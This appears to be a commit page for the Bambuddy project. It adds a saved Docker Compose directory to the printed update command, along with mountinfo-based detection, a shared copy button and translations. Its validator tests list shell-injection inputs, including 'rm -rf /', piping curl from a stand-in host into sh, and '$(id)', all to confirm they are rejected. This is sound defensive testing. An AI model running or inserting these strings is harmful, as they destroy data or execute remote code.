Explorar el Código

Show the compose directory in the Docker update command (#2664)

The printed command only works from the directory holding the compose
file, which is the thing the user came to the page not knowing. Adds a
copy button, a saved Compose directory setting, BAMBUDDY_COMPOSE_DIR,
and best-effort detection from a bind mount's host path.

Compose records the directory on every container it creates, but reading
that label needs the Docker socket mounted in — root-equivalent access
for a convenience string. The mountinfo guess is a prefill only: its root
field is relative to the mounted device, so a compose dir on its own
mount loses that prefix, and nothing in the container can detect it.

The field is restricted to path characters. It is the one setting whose
purpose is to be pasted into a root shell, so "/opt/bambuddy; rm -rf /"
would otherwise render as a plausible update command.
maziggy hace 1 mes
padre
commit
689f5276e4

La diferencia del archivo ha sido suprimido porque es demasiado grande
+ 0 - 0
CHANGELOG.md


+ 83 - 0
backend/app/api/routes/updates.py

@@ -110,6 +110,84 @@ def _is_docker_environment() -> bool:
     return False
 
 
+# Mount points the shipped compose file gives Bambuddy. Only these are
+# consulted when guessing the compose directory — an arbitrary bind mount
+# (a NAS share, an external library root) says nothing about where the
+# compose file lives.
+_COMPOSE_BIND_MOUNTPOINTS = ("/app/data", "/app/logs")
+
+# A named volume resolves to ``.../docker/volumes/<project>_bambuddy_data/_data``
+# in mountinfo. That names the compose *project* but reveals nothing about
+# the directory holding the compose file, so these entries are skipped.
+_DOCKER_NAMED_VOLUME_ROOT = re.compile(r"/docker/volumes/[^/]+/_data/?$")
+
+
+def _compose_dir_from_mountinfo() -> str | None:
+    """Guess the host directory holding the compose file, or None (#2664).
+
+    ``docker compose pull`` only works from the directory containing the
+    compose file, so the command the update box prints is unusable until the
+    user remembers where that is. Compose knows the answer — it stamps
+    ``com.docker.compose.project.working_dir`` onto every container it
+    creates — but reading your own labels requires the Docker socket, and
+    mounting that into Bambuddy would hand the container root-equivalent
+    access to the host in exchange for a convenience string. So we infer.
+
+    ``/proc/self/mountinfo`` exposes the *host* side of a bind mount in its
+    root field: a ``./data:/app/data`` line in the compose file surfaces as
+    ``/opt/bambuddy/data``, whose parent is the compose directory. The leaf
+    must match the mount point's own name before we take the parent —
+    ``/mnt/nas/prints:/app/data`` is a bind mount whose parent is emphatically
+    not a compose directory.
+
+    This is a guess and is treated as one — it only ever prefills the setting
+    the user can overwrite. The root field is relative to the *mounted device*
+    rather than to the host's ``/``, so a compose directory that sits under a
+    separate mount loses that mount's own prefix. Measured against real
+    containers: a compose file on the root filesystem (here a ZFS dataset
+    mounted at ``/``) came back exactly right, while one under ``/tmp`` — its
+    own tmpfs — inferred ``/claude-1001/...`` for ``/tmp/claude-1001/...``.
+    Nothing inside the container can tell the two apart, which is precisely
+    why the field is editable. The shipped compose file uses named volumes,
+    for which nothing is inferable at all.
+    """
+    try:
+        with open("/proc/self/mountinfo") as f:
+            lines = f.readlines()
+    except OSError:
+        return None
+
+    for line in lines:
+        parts = line.split()
+        # mountID parentID major:minor root mountPoint ...
+        if len(parts) < 5:
+            continue
+        root, mount_point = parts[3], parts[4]
+        if mount_point not in _COMPOSE_BIND_MOUNTPOINTS:
+            continue
+        if _DOCKER_NAMED_VOLUME_ROOT.search(root):
+            continue
+        parent, _, leaf = root.rstrip("/").rpartition("/")
+        if parent and leaf == mount_point.rsplit("/", 1)[-1]:
+            return parent
+    return None
+
+
+def _detect_compose_dir() -> str | None:
+    """Best-effort compose directory for the update instructions (#2664).
+
+    ``BAMBUDDY_COMPOSE_DIR`` wins when set — it is the only source that is
+    stated rather than inferred, and the shipped compose file carries a
+    commented ``${PWD}`` line for it.
+    """
+    env_dir = os.environ.get("BAMBUDDY_COMPOSE_DIR", "").strip()
+    if env_dir:
+        return env_dir
+    if not _is_docker_environment():
+        return None
+    return _compose_dir_from_mountinfo()
+
+
 def _is_ha_addon() -> bool:
     """Detect if running as a Home Assistant Supervisor addon.
 
@@ -527,6 +605,11 @@ async def check_for_updates(
                 "is_windows_installer": is_windows_installer,
                 "update_method": update_method,
                 "installer_download_url": installer_download_url,
+                # Prefill only — never the value the user saved. The settings
+                # response owns ``docker_compose_dir``; keeping the two apart
+                # means clearing the field falls back to the guess instead of
+                # resurrecting the cleared value from a stale update check.
+                "compose_dir_detected": _detect_compose_dir() if update_method == "docker" else None,
             }
 
     except httpx.HTTPError as e:

+ 52 - 0
backend/app/schemas/settings.py

@@ -1,4 +1,5 @@
 import json
+import re
 
 from pydantic import BaseModel, Field, ValidationInfo, field_validator
 
@@ -19,6 +20,18 @@ from backend.app.utils.printer_models import MAX_CHAMBER_TEMP_C
 # must be reachable on the public internet, on the stricter OIDC guard).
 LAN_SERVICE_URL_SETTINGS = ("ha_url", "obico_ml_url", "orcaslicer_api_url", "bambu_studio_api_url")
 
+# ``docker_compose_dir`` is unusual among the string settings: it is not
+# consumed by Bambuddy at all, it is interpolated into a shell command that
+# the Settings page invites the user to copy and paste into a root-capable
+# terminal (#2664). A value like ``/opt/bambuddy; rm -rf /`` would render as a
+# perfectly plausible-looking update command, so anyone with settings:update
+# could hand every admin a destructive one-liner to run. Restricting the field
+# to characters that occur in real paths removes that entirely; the frontend
+# double-quotes the value when it contains a space, which is safe precisely
+# because quotes, ``$`` and backticks cannot survive this pattern.
+_COMPOSE_DIR_ALLOWED = re.compile(r"^[\w \-./\\:~]+$", re.UNICODE)
+_COMPOSE_DIR_MAX_LEN = 512
+
 
 class AppSettings(BaseModel):
     """Application settings schema."""
@@ -220,6 +233,14 @@ class AppSettings(BaseModel):
         default="", description="External URL where Bambuddy is accessible (for notification images)"
     )
 
+    # Directory holding the user's docker-compose.yml, shown in the update
+    # instructions so the printed command can be pasted from anywhere (#2664).
+    # Empty means "omit the cd" — which is also the correct rendering when
+    # nothing could be detected, rather than guessing a path that fails.
+    docker_compose_dir: str = Field(
+        default="", description="Host directory containing docker-compose.yml, used in the update instructions"
+    )
+
     # Home Assistant integration for smart plug control
     ha_enabled: bool = Field(default=False, description="Enable Home Assistant integration for smart plug control")
     ha_url: str = Field(default="", description="Home Assistant URL (e.g., http://192.168.1.100:8123)")
@@ -588,6 +609,7 @@ class AppSettingsUpdate(BaseModel):
     mqtt_topic_prefix: str | None = None
     mqtt_use_tls: bool | None = None
     external_url: str | None = None
+    docker_compose_dir: str | None = None
     ha_enabled: bool | None = None
     ha_url: str | None = None
     ha_token: str | None = None
@@ -691,6 +713,36 @@ class AppSettingsUpdate(BaseModel):
             raise ValueError(str(exc)) from exc
         return v
 
+    @field_validator("docker_compose_dir")
+    @classmethod
+    def validate_docker_compose_dir(cls, v: str | None) -> str | None:
+        """Keep the copy-and-paste update command free of shell injection (#2664).
+
+        Validated on the write path only. Doing it on ``AppSettings`` as well
+        would mean a single bad row — however it got there — 500s the entire
+        settings GET and takes the app down with it, which is a worse outcome
+        than rendering a string that has to be pasted into a shell by hand to
+        do anything at all.
+        """
+        if v is None or not v.strip():
+            return v
+        candidate = v.strip()
+        if len(candidate) > _COMPOSE_DIR_MAX_LEN:
+            raise ValueError(f"Compose directory must be at most {_COMPOSE_DIR_MAX_LEN} characters")
+        if not _COMPOSE_DIR_ALLOWED.match(candidate):
+            raise ValueError(
+                "Compose directory may only contain path characters (letters, digits, space, and - _ . / \\ : ~)"
+            )
+        # A trailing backslash is the one survivor that would still break the
+        # frontend's double-quoting: `cd "/opt/bam buddy\"` escapes the closing
+        # quote and swallows the rest of the line. Harmless (the shell just
+        # waits for a terminator rather than running anything) but the user
+        # would be left staring at a continuation prompt, so refuse it here
+        # instead of shipping a command that cannot work.
+        if candidate.endswith("\\"):
+            raise ValueError("Compose directory must not end with a backslash")
+        return candidate
+
     @field_validator("gcode_snippets")
     @classmethod
     def validate_gcode_snippets(cls, v: str | None) -> str | None:

+ 141 - 1
backend/tests/integration/test_updates_api.py

@@ -1,7 +1,7 @@
 """Integration tests for Updates API endpoints."""
 
 from pathlib import Path
-from unittest.mock import AsyncMock, MagicMock, patch
+from unittest.mock import AsyncMock, MagicMock, mock_open, patch
 
 import pytest
 from httpx import AsyncClient
@@ -796,3 +796,143 @@ class TestUpdatesAPI:
         assert body["update_method"] == "windows_installer"
         assert body["is_windows_installer"] is True
         assert body["installer_download_url"].endswith("bambuddy-999.9.9-windows-x64-setup.exe")
+
+    # --- Compose directory detection (#2664, reporter pchulpjoost) ---
+    # `docker compose pull` only works from the directory holding the compose
+    # file, so the update box's command was unusable until the user remembered
+    # where that was. Compose stamps the answer onto every container it
+    # creates, but reading your own labels needs the Docker socket — a
+    # root-equivalent mount, not worth it for a convenience string. So the
+    # host side of a bind mount in /proc/self/mountinfo is inferred instead.
+
+    def _mountinfo(self, *lines: str):
+        """Patch /proc/self/mountinfo with the given raw lines."""
+        return patch("builtins.open", mock_open(read_data="".join(f"{line}\n" for line in lines)))
+
+    def test_compose_dir_inferred_from_bind_mount(self):
+        """`./data:/app/data` surfaces as the host path; its parent is the
+        compose directory."""
+        from backend.app.api.routes.updates import _compose_dir_from_mountinfo
+
+        with self._mountinfo(
+            "2244 1668 0:137 / / rw,relatime - overlay overlay rw,lowerdir=/x",
+            "1437 2244 0:48 /opt/bambuddy/data /app/data rw,relatime - ext4 /dev/sda1 rw",
+        ):
+            assert _compose_dir_from_mountinfo() == "/opt/bambuddy"
+
+    def test_compose_dir_none_for_named_volume(self):
+        """The shipped compose file uses named volumes, which resolve to
+        /var/lib/docker/volumes/<project>_bambuddy_data/_data. That names the
+        compose *project* and reveals nothing about where the file lives, so
+        the correct answer is "don't know" rather than a plausible guess."""
+        from backend.app.api.routes.updates import _compose_dir_from_mountinfo
+
+        with self._mountinfo(
+            "1290 2246 0:65 /var/lib/docker/volumes/bambuddy_bambuddy_data/_data /app/data rw - ext4 /dev/sda1 rw",
+        ):
+            assert _compose_dir_from_mountinfo() is None
+
+    def test_compose_dir_none_for_relocated_bind_mount(self):
+        """`/mnt/nas/prints:/app/data` is a perfectly ordinary bind mount whose
+        parent is emphatically not a compose directory. The leaf must match the
+        mount point's own name before the parent is trusted."""
+        from backend.app.api.routes.updates import _compose_dir_from_mountinfo
+
+        with self._mountinfo(
+            "1437 2244 0:48 /mnt/nas/prints /app/data rw,relatime - nfs4 nas:/prints rw",
+        ):
+            assert _compose_dir_from_mountinfo() is None
+
+    def test_compose_dir_falls_back_to_logs_mount(self):
+        """A user who bind-mounts only ./logs still gets the directory."""
+        from backend.app.api.routes.updates import _compose_dir_from_mountinfo
+
+        with self._mountinfo(
+            "1290 2246 0:65 /var/lib/docker/volumes/bambuddy_bambuddy_data/_data /app/data rw - ext4 /dev/sda1 rw",
+            "1441 2244 0:48 /srv/bambuddy/logs /app/logs rw,relatime - ext4 /dev/sda1 rw",
+        ):
+            assert _compose_dir_from_mountinfo() == "/srv/bambuddy"
+
+    def test_compose_dir_none_without_mountinfo(self):
+        """Windows and macOS have no /proc; the guess simply doesn't happen."""
+        from backend.app.api.routes.updates import _compose_dir_from_mountinfo
+
+        with patch("builtins.open", side_effect=FileNotFoundError):
+            assert _compose_dir_from_mountinfo() is None
+
+    def test_detect_compose_dir_prefers_env_var(self):
+        """BAMBUDDY_COMPOSE_DIR is stated rather than inferred, so it wins over
+        a mountinfo guess that would otherwise point somewhere else."""
+        from backend.app.api.routes import updates as updates_module
+
+        with (
+            patch.dict("os.environ", {"BAMBUDDY_COMPOSE_DIR": "/srv/stacks/bambuddy"}),
+            patch.object(updates_module, "_compose_dir_from_mountinfo", return_value="/opt/wrong"),
+        ):
+            assert updates_module._detect_compose_dir() == "/srv/stacks/bambuddy"
+
+    def test_detect_compose_dir_skips_mountinfo_outside_docker(self):
+        """A native install has no compose file; mountinfo would still show
+        bind mounts on a host that happens to run other containers."""
+        from backend.app.api.routes import updates as updates_module
+
+        with (
+            patch.dict("os.environ", {"BAMBUDDY_COMPOSE_DIR": ""}),
+            patch.object(updates_module, "_is_docker_environment", return_value=False),
+            patch.object(updates_module, "_compose_dir_from_mountinfo", return_value="/opt/wrong"),
+        ):
+            assert updates_module._detect_compose_dir() is None
+
+    @pytest.mark.asyncio
+    async def test_check_surfaces_compose_dir_only_for_docker(self, async_client: AsyncClient):
+        """The prefill rides along with the Docker branch. A git install must
+        not receive one — there is no compose file to cd into."""
+        import httpx as _httpx
+
+        fake_release = {
+            "tag_name": "v999.9.9",
+            "name": "Far Future Release",
+            "body": "",
+            "html_url": "https://example.invalid/r",
+            "published_at": "2099-01-01T00:00:00Z",
+        }
+
+        class _Resp:
+            status_code = 200
+
+            def raise_for_status(self):
+                return None
+
+            def json(self):
+                return [fake_release]
+
+        class _FakeClient:
+            async def __aenter__(self):
+                return self
+
+            async def __aexit__(self, *_):
+                return None
+
+            async def get(self, *_, **__):
+                return _Resp()
+
+        with (
+            patch.object(_httpx, "AsyncClient", _FakeClient),
+            patch("backend.app.api.routes.updates._is_ha_addon", return_value=False),
+            patch("backend.app.api.routes.updates._is_docker_environment", return_value=True),
+            patch("backend.app.api.routes.updates._detect_compose_dir", return_value="/opt/bambuddy"),
+        ):
+            body = (await async_client.get("/api/v1/updates/check")).json()
+        assert body["update_method"] == "docker"
+        assert body["compose_dir_detected"] == "/opt/bambuddy"
+
+        with (
+            patch.object(_httpx, "AsyncClient", _FakeClient),
+            patch("backend.app.api.routes.updates._is_ha_addon", return_value=False),
+            patch("backend.app.api.routes.updates._is_docker_environment", return_value=False),
+            patch("backend.app.api.routes.updates._is_windows_installer_install", return_value=False),
+            patch("backend.app.api.routes.updates._detect_compose_dir", return_value="/opt/bambuddy"),
+        ):
+            body = (await async_client.get("/api/v1/updates/check")).json()
+        assert body["update_method"] == "git"
+        assert body["compose_dir_detected"] is None

+ 77 - 0
backend/tests/unit/test_compose_dir_setting.py

@@ -0,0 +1,77 @@
+"""``docker_compose_dir`` validation (#2664, reporter pchulpjoost).
+
+This setting is not consumed by Bambuddy at all — it is interpolated into a
+shell command that the Settings page invites the user to copy and paste into a
+root-capable terminal. That inverts the usual threat model for a string
+setting: the danger is not what the server does with the value, it is what the
+*admin* does with it after the copy button hands it over. Anyone holding
+settings:update could otherwise plant a destructive one-liner behind a control
+whose whole purpose is "paste this into your shell".
+"""
+
+import pytest
+from pydantic import ValidationError
+
+from backend.app.schemas.settings import AppSettingsUpdate
+
+
+class TestComposeDirValidation:
+    @pytest.mark.parametrize(
+        "value",
+        [
+            "/opt/bambuddy",
+            "/srv/stacks/bambu buddy",  # spaces are legal; the frontend quotes them
+            "C:\\Users\\martin\\bambuddy",
+            "~/bambuddy",
+            "/home/martin/3D-Druck/bambuddy",  # non-ASCII path components
+            "",
+        ],
+    )
+    def test_accepts_real_paths(self, value: str):
+        assert AppSettingsUpdate(docker_compose_dir=value).docker_compose_dir == value.strip()
+
+    @pytest.mark.parametrize(
+        "value",
+        [
+            "/opt/bambuddy; rm -rf /",
+            "/opt/bambuddy && curl evil.invalid/x | sh",
+            "/opt/bambuddy`id`",
+            "/opt/bambuddy$(id)",
+            "/opt/bambuddy | tee /etc/passwd",
+            '/opt/bambuddy" && echo pwned && echo "',
+            "/opt/bambuddy\nrm -rf /",
+        ],
+    )
+    def test_rejects_shell_metacharacters(self, value: str):
+        """Every one of these renders as a plausible-looking update command
+        that does something else entirely when pasted."""
+        with pytest.raises(ValidationError):
+            AppSettingsUpdate(docker_compose_dir=value)
+
+    def test_rejects_absurd_length(self):
+        with pytest.raises(ValidationError):
+            AppSettingsUpdate(docker_compose_dir="/opt/" + "a" * 600)
+
+    def test_none_is_untouched(self):
+        """None means "not part of this PATCH" — distinct from "" ("clear it")."""
+        assert AppSettingsUpdate().docker_compose_dir is None
+
+    @pytest.mark.parametrize("char", ['"', "$", "`"])
+    def test_characters_that_would_escape_the_frontend_quoting_are_rejected(self, char: str):
+        """The frontend wraps a value containing a space in double quotes, which
+        is safe only because nothing that is special inside double quotes can
+        survive this validator. Pinned here so loosening the pattern without
+        revisiting the quoting fails loudly."""
+        with pytest.raises(ValidationError):
+            AppSettingsUpdate(docker_compose_dir=f"/opt/bam {char} buddy")
+
+    def test_trailing_backslash_rejected(self):
+        """The last character that would still escape the closing quote:
+        `cd "/opt/bam buddy\\"` swallows the rest of the command."""
+        with pytest.raises(ValidationError):
+            AppSettingsUpdate(docker_compose_dir="C:\\bam buddy\\")
+
+    def test_windows_path_without_trailing_separator_survives(self):
+        assert AppSettingsUpdate(docker_compose_dir="C:\\Users\\martin\\bambuddy").docker_compose_dir == (
+            "C:\\Users\\martin\\bambuddy"
+        )

+ 7 - 0
docker-compose.yml

@@ -112,6 +112,13 @@ services:
       # Port BamBuddy runs on (default: 8000)
       # Usage: PORT=8080 docker compose up -d
       - PORT=${PORT:-8000}
+      # Directory this compose file lives in, so Settings → Updates can print
+      # an update command you can paste from anywhere instead of one that only
+      # works if you are already in the right directory (#2664). Uncomment to
+      # have Compose fill it in from the shell you run `docker compose` in; the
+      # field is also editable in Settings if you would rather set it there or
+      # if you drive Compose with `-f` from elsewhere.
+      #- BAMBUDDY_COMPOSE_DIR=${PWD}
       # Virtual printer: Set to the Docker host's IP when using bridge mode (ports:).
       # Required for FTP passive mode to work behind NAT.
       # Example: VIRTUAL_PRINTER_PASV_ADDRESS=192.168.1.100

+ 76 - 1
frontend/src/__tests__/pages/SettingsPage.test.tsx

@@ -497,10 +497,11 @@ describe('SettingsPage', () => {
     // users never see the in-app Install button (which would no-op).
     const renderWithUpdateCheck = async (
       checkBody: Record<string, unknown>,
+      settingsOverrides: Record<string, unknown> = {},
     ) => {
       server.use(
         http.get('/api/v1/settings/', () =>
-          HttpResponse.json({ ...mockSettings, check_updates: true }),
+          HttpResponse.json({ ...mockSettings, check_updates: true, ...settingsOverrides }),
         ),
         http.get('/api/v1/updates/check', () => HttpResponse.json(checkBody)),
       );
@@ -555,6 +556,80 @@ describe('SettingsPage', () => {
       expect(screen.queryByRole('button', { name: /install update/i })).not.toBeInTheDocument();
     });
 
+    // #2664: the bare command only works if the user is already standing in
+    // the directory holding their compose file, which is exactly the thing
+    // they came to the page not knowing.
+    const DOCKER_CHECK = {
+      update_available: true,
+      current_version: '0.2.4',
+      latest_version: '0.2.5',
+      release_name: '0.2.5',
+      release_notes: '',
+      release_url: 'https://example.invalid/r',
+      published_at: '2099-01-01T00:00:00Z',
+      is_docker: true,
+      is_ha_addon: false,
+      update_method: 'docker',
+    };
+
+    it('prefixes the command with cd when the backend detected a compose directory', async () => {
+      await renderWithUpdateCheck({ ...DOCKER_CHECK, compose_dir_detected: '/opt/bambuddy' });
+
+      await waitFor(() => {
+        expect(
+          screen.getByText('cd /opt/bambuddy && docker compose pull && docker compose up -d'),
+        ).toBeInTheDocument();
+      });
+    });
+
+    it('prefers the saved directory over the detected one', async () => {
+      await renderWithUpdateCheck(
+        { ...DOCKER_CHECK, compose_dir_detected: '/opt/guessed' },
+        { docker_compose_dir: '/srv/stacks/bambuddy' },
+      );
+
+      await waitFor(() => {
+        expect(
+          screen.getByText('cd /srv/stacks/bambuddy && docker compose pull && docker compose up -d'),
+        ).toBeInTheDocument();
+      });
+      expect(screen.queryByText(/\/opt\/guessed/)).not.toBeInTheDocument();
+    });
+
+    it('quotes a directory containing a space so the cd does not split', async () => {
+      await renderWithUpdateCheck(DOCKER_CHECK, { docker_compose_dir: '/srv/bambu buddy' });
+
+      await waitFor(() => {
+        expect(
+          screen.getByText('cd "/srv/bambu buddy" && docker compose pull && docker compose up -d'),
+        ).toBeInTheDocument();
+      });
+    });
+
+    it('copies the full command including the cd', async () => {
+      const writeText = vi.fn().mockResolvedValue(undefined);
+      Object.defineProperty(navigator, 'clipboard', { value: { writeText }, configurable: true });
+      Object.defineProperty(window, 'isSecureContext', { value: true, configurable: true });
+
+      await renderWithUpdateCheck({ ...DOCKER_CHECK, compose_dir_detected: '/opt/bambuddy' });
+
+      const copy = await screen.findByRole('button', { name: /copy update command/i });
+      await userEvent.click(copy);
+
+      expect(writeText).toHaveBeenCalledWith(
+        'cd /opt/bambuddy && docker compose pull && docker compose up -d',
+      );
+    });
+
+    it('offers an editable compose directory field seeded with the detected path', async () => {
+      await renderWithUpdateCheck({ ...DOCKER_CHECK, compose_dir_detected: '/opt/bambuddy' });
+
+      const field = await screen.findByPlaceholderText('/opt/bambuddy');
+      // Placeholder, not value — the detected path is a guess the user has
+      // not accepted, so saving must not silently adopt it.
+      expect(field).toHaveValue('');
+    });
+
     it('shows the installer-download link for Windows installer installs', async () => {
       const downloadUrl =
         'https://github.com/maziggy/bambuddy/releases/download/v0.2.5/bambuddy-0.2.5-windows-x64-setup.exe';

+ 6 - 0
frontend/src/api/client.ts

@@ -1260,6 +1260,8 @@ export interface AppSettings {
   mqtt_use_tls: boolean;
   // External URL for notifications
   external_url: string;
+  // Directory holding docker-compose.yml, shown in the update instructions (#2664)
+  docker_compose_dir: string;
   // Home Assistant integration
   ha_enabled: boolean;
   ha_url: string;
@@ -3229,6 +3231,10 @@ export interface UpdateCheckResult {
   is_windows_installer?: boolean;
   update_method?: 'docker' | 'git' | 'ha_addon' | 'windows_installer';
   installer_download_url?: string | null;
+  // Best-effort guess at the compose directory (#2664). Prefill only — the
+  // value the user saved lives on AppSettings.docker_compose_dir, so clearing
+  // that field falls back to this guess instead of resurrecting the old value.
+  compose_dir_detected?: string | null;
 }
 
 export interface UpdateStatus {

+ 72 - 0
frontend/src/components/CopyButton.tsx

@@ -0,0 +1,72 @@
+import { useState } from 'react';
+import { useTranslation } from 'react-i18next';
+import { Copy, Check } from 'lucide-react';
+
+interface CopyButtonProps {
+  value: string;
+  /** i18n key for the resting tooltip. */
+  titleKey?: string;
+  /** i18n key for the tooltip while the tick is showing. */
+  copiedTitleKey?: string;
+  className?: string;
+  iconClassName?: string;
+}
+
+/**
+ * Copy-to-clipboard button with the plain-HTTP fallback (#1174).
+ *
+ * Lifted out of PrinterInfoModal when the Docker update instructions needed
+ * the same control (#2664). The fallback is the whole reason this is shared
+ * rather than re-written per call site: navigator.clipboard is gated behind
+ * the secure-context requirement, so on a LAN install reached over plain HTTP
+ * — which is most Bambuddy installs — the API is simply undefined, and a
+ * naive implementation swallows the failure with no tick and nothing copied.
+ */
+export function CopyButton({
+  value,
+  titleKey = 'printers.copyToClipboard',
+  copiedTitleKey = 'printers.copied',
+  className = 'ml-2 p-1 rounded hover:bg-bambu-dark-tertiary text-bambu-gray hover:text-white transition-colors',
+  iconClassName = 'w-3.5 h-3.5',
+}: CopyButtonProps) {
+  const { t } = useTranslation();
+  const [copied, setCopied] = useState(false);
+
+  const handleCopy = async () => {
+    try {
+      if (navigator.clipboard && window.isSecureContext) {
+        await navigator.clipboard.writeText(value);
+      } else {
+        // Legacy execCommand path via an off-screen textarea, matching the
+        // pattern used by CameraTokensPage's plaintext-token modal.
+        const ta = document.createElement('textarea');
+        ta.value = value;
+        ta.style.position = 'fixed';
+        ta.style.opacity = '0';
+        document.body.appendChild(ta);
+        try {
+          ta.select();
+          const ok = document.execCommand('copy');
+          if (!ok) return;
+        } finally {
+          document.body.removeChild(ta);
+        }
+      }
+      setCopied(true);
+      setTimeout(() => setCopied(false), 2000);
+    } catch {
+      // Both paths failed (no clipboard API, no execCommand). Leave the icon
+      // unchanged so the user knows nothing was copied.
+    }
+  };
+
+  return (
+    <button
+      onClick={handleCopy}
+      className={className}
+      title={copied ? t(copiedTitleKey) : t(titleKey)}
+    >
+      {copied ? <Check className={`${iconClassName} text-bambu-green`} /> : <Copy className={iconClassName} />}
+    </button>
+  );
+}

+ 3 - 49
frontend/src/components/PrinterInfoModal.tsx

@@ -1,7 +1,8 @@
-import { useState, useEffect } from 'react';
+import { useEffect } from 'react';
 import { useTranslation } from 'react-i18next';
-import { X, Copy, Check, Signal, Cable } from 'lucide-react';
+import { X, Signal, Cable } from 'lucide-react';
 import { Card, CardContent } from './Card';
+import { CopyButton } from './CopyButton';
 import { formatDateOnly } from '../utils/date';
 import { getPrinterImage, getWifiStrength } from '../utils/printer';
 import type { Printer, PrinterStatus } from '../api/client';
@@ -13,53 +14,6 @@ interface PrinterInfoModalProps {
   onClose: () => void;
 }
 
-function CopyButton({ value }: { value: string }) {
-  const { t } = useTranslation();
-  const [copied, setCopied] = useState(false);
-
-  const handleCopy = async () => {
-    // navigator.clipboard is gated by the secure-context requirement, so on
-    // plain-HTTP LAN deployments (#1174) the API is undefined and the previous
-    // code silently swallowed the failure — the icon never flipped to the tick
-    // and nothing landed on the user's clipboard. Fall back to the legacy
-    // execCommand path via an off-screen textarea, matching the pattern used
-    // by CameraTokensPage's plaintext-token modal.
-    try {
-      if (navigator.clipboard && window.isSecureContext) {
-        await navigator.clipboard.writeText(value);
-      } else {
-        const ta = document.createElement('textarea');
-        ta.value = value;
-        ta.style.position = 'fixed';
-        ta.style.opacity = '0';
-        document.body.appendChild(ta);
-        try {
-          ta.select();
-          const ok = document.execCommand('copy');
-          if (!ok) return;
-        } finally {
-          document.body.removeChild(ta);
-        }
-      }
-      setCopied(true);
-      setTimeout(() => setCopied(false), 2000);
-    } catch {
-      // Both paths failed (no clipboard API, no execCommand). Leave the icon
-      // unchanged so the user knows nothing was copied.
-    }
-  };
-
-  return (
-    <button
-      onClick={handleCopy}
-      className="ml-2 p-1 rounded hover:bg-bambu-dark-tertiary text-bambu-gray hover:text-white transition-colors"
-      title={copied ? t('printers.copied') : t('printers.copyToClipboard')}
-    >
-      {copied ? <Check className="w-3.5 h-3.5 text-bambu-green" /> : <Copy className="w-3.5 h-3.5" />}
-    </button>
-  );
-}
-
 export function PrinterInfoModal({ printer, status, totalPrintHours, onClose }: PrinterInfoModalProps) {
   const { t } = useTranslation();
 

+ 3 - 0
frontend/src/i18n/locales/de.ts

@@ -2508,6 +2508,9 @@ export default {
     updateAvailableVersion: 'Update verfügbar: v{{version}}',
     releaseNotes: 'Versionshinweise',
     updateViaDocker: 'Update über Docker Compose:',
+    composeDirectory: 'Compose-Verzeichnis',
+    composeDirectoryHint: 'Verzeichnis, in dem deine docker-compose.yml liegt. Leer lassen, um das cd wegzulassen.',
+    copyUpdateCommand: 'Update-Befehl kopieren',
     updateViaHomeAssistant: 'Updates werden vom Home Assistant Supervisor verwaltet. Öffne Einstellungen → Add-ons → Bambuddy in Home Assistant, um die neue Version zu installieren.',
     updateViaWindowsInstaller: 'Windows-Installationen werden durch erneutes Ausführen des Installers aktualisiert. Lade die neue Version unten herunter — deine Daten, Einstellungen und Drucker bleiben erhalten.',
     downloadWindowsInstaller: 'Installer für v{{version}} herunterladen',

+ 3 - 0
frontend/src/i18n/locales/en.ts

@@ -2527,6 +2527,9 @@ export default {
     updateAvailableVersion: 'Update available: v{{version}}',
     releaseNotes: 'Release Notes',
     updateViaDocker: 'Update via Docker Compose:',
+    composeDirectory: 'Compose directory',
+    composeDirectoryHint: 'Directory containing your docker-compose.yml. Leave blank to omit the cd.',
+    copyUpdateCommand: 'Copy update command',
     updateViaHomeAssistant: 'Updates are managed by the Home Assistant Supervisor. Open Settings → Add-ons → Bambuddy in Home Assistant to install the new version.',
     updateViaWindowsInstaller: 'Windows installations are updated by re-running the installer. Download the new version below — your data, settings and printers are preserved.',
     downloadWindowsInstaller: 'Download installer for v{{version}}',

+ 3 - 0
frontend/src/i18n/locales/es.ts

@@ -2511,6 +2511,9 @@ export default {
     updateAvailableVersion: 'Actualización disponible: v{{version}}',
     releaseNotes: 'Notas de la versión',
     updateViaDocker: 'Actualizar mediante Docker Compose:',
+    composeDirectory: 'Directorio de Compose',
+    composeDirectoryHint: 'Directorio que contiene tu docker-compose.yml. Déjalo vacío para omitir el cd.',
+    copyUpdateCommand: 'Copiar comando de actualización',
     updateViaHomeAssistant: 'Las actualizaciones las gestiona el Supervisor de Home Assistant. Abra Ajustes → Complementos → Bambuddy en Home Assistant para instalar la nueva versión.',
     updateViaWindowsInstaller: 'Las instalaciones en Windows se actualizan volviendo a ejecutar el instalador. Descarga la nueva versión abajo — tus datos, ajustes e impresoras se conservan.',
     downloadWindowsInstaller: 'Descargar instalador para v{{version}}',

+ 3 - 0
frontend/src/i18n/locales/fr.ts

@@ -2458,6 +2458,9 @@ export default {
     updateAvailableVersion: 'Mise à jour disponible : v{{version}}',
     releaseNotes: 'Notes de version',
     updateViaDocker: 'Mettre à jour via Docker Compose :',
+    composeDirectory: 'Répertoire Compose',
+    composeDirectoryHint: 'Répertoire contenant votre docker-compose.yml. Laissez vide pour omettre le cd.',
+    copyUpdateCommand: 'Copier la commande de mise à jour',
     updateViaHomeAssistant: 'Les mises à jour sont gérées par le superviseur Home Assistant. Ouvrez Paramètres → Modules complémentaires → Bambuddy dans Home Assistant pour installer la nouvelle version.',
     updateViaWindowsInstaller: "Les installations Windows se mettent à jour en relançant l'installateur. Téléchargez la nouvelle version ci-dessous — vos données, paramètres et imprimantes sont préservés.",
     downloadWindowsInstaller: "Télécharger l'installateur pour la v{{version}}",

+ 3 - 0
frontend/src/i18n/locales/it.ts

@@ -2457,6 +2457,9 @@ export default {
     updateAvailableVersion: 'Aggiornamento disponibile: v{{version}}',
     releaseNotes: 'Note di rilascio',
     updateViaDocker: 'Aggiorna tramite Docker Compose:',
+    composeDirectory: 'Cartella Compose',
+    composeDirectoryHint: 'Cartella che contiene il tuo docker-compose.yml. Lascia vuoto per omettere il cd.',
+    copyUpdateCommand: 'Copia comando di aggiornamento',
     updateViaHomeAssistant: 'Gli aggiornamenti sono gestiti dal Supervisor di Home Assistant. Apri Impostazioni → Add-on → Bambuddy in Home Assistant per installare la nuova versione.',
     updateViaWindowsInstaller: 'Le installazioni Windows si aggiornano rieseguendo l\'installer. Scarica la nuova versione qui sotto — i tuoi dati, le impostazioni e le stampanti vengono mantenuti.',
     downloadWindowsInstaller: 'Scarica installer per v{{version}}',

+ 3 - 0
frontend/src/i18n/locales/ja.ts

@@ -2507,6 +2507,9 @@ export default {
     updateAvailableVersion: 'アップデート利用可能: v{{version}}',
     releaseNotes: 'リリースノート',
